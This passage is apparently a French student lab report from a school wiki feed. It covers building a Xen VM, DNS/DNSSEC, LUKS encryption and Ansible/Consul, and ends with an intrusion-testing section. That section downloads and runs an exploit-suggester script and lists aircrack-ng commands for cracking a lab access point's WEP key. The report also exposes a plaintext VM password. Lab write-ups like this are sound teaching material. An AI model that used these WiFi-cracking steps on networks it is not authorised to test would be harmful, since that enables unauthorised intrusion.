 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     dest: &amp;quot;/etc/consul/{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - config.json&lt;br /&gt;
     - web.json&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
   register: systemd&lt;br /&gt;
 &lt;br /&gt;
 - name: Deamon reload&lt;br /&gt;
   systemd:&lt;br /&gt;
     daemon_reload: true&lt;br /&gt;
   when: systemd.changed&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
(Sans les espaces des accolades encore une fois)&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 2,&lt;br /&gt;
        &amp;quot;retry_join&amp;quot;: [&amp;quot;172.26.145.101&amp;quot;],&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/web.json&amp;lt;/code&amp;gt; contient : &lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;service&amp;quot;: {&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;web-bellerose&amp;quot;,&lt;br /&gt;
 		&amp;quot;tags&amp;quot;: [&amp;quot;boris&amp;quot;,&amp;quot;louis&amp;quot;,&amp;quot;web&amp;quot;],&lt;br /&gt;
 		&amp;quot;port&amp;quot;: 80&lt;br /&gt;
 	},&lt;br /&gt;
 &lt;br /&gt;
 	&amp;quot;check&amp;quot;: {&lt;br /&gt;
 		&amp;quot;id&amp;quot;: &amp;quot;webport&amp;quot;,&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;Simple HTTP GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;method&amp;quot;: &amp;quot;GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;http&amp;quot;: &amp;quot;http://172.26.145.106&amp;quot;,&lt;br /&gt;
 		&amp;quot;interval&amp;quot;: &amp;quot;10s&amp;quot;,&lt;br /&gt;
 		&amp;quot;timeout&amp;quot;: &amp;quot;1s&amp;quot;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là. Pour voir le résultat: http://172.26.145.106:8500&lt;br /&gt;
&lt;br /&gt;
Cela nous donne :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen_healthy.png|1000px|thumb|center|Tada]]&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58028</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58028"/>
				<updated>2022-01-12T13:03:09Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
